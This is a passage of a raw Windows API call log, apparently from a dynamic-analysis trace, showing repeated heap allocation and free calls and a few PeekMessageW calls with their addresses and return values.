(HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.774] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.774] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.774] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.774] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.775] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.775] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.776] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.777] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.777] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.778] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.778] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.779] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.779] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.780] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.780] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.781] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.781] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.781] 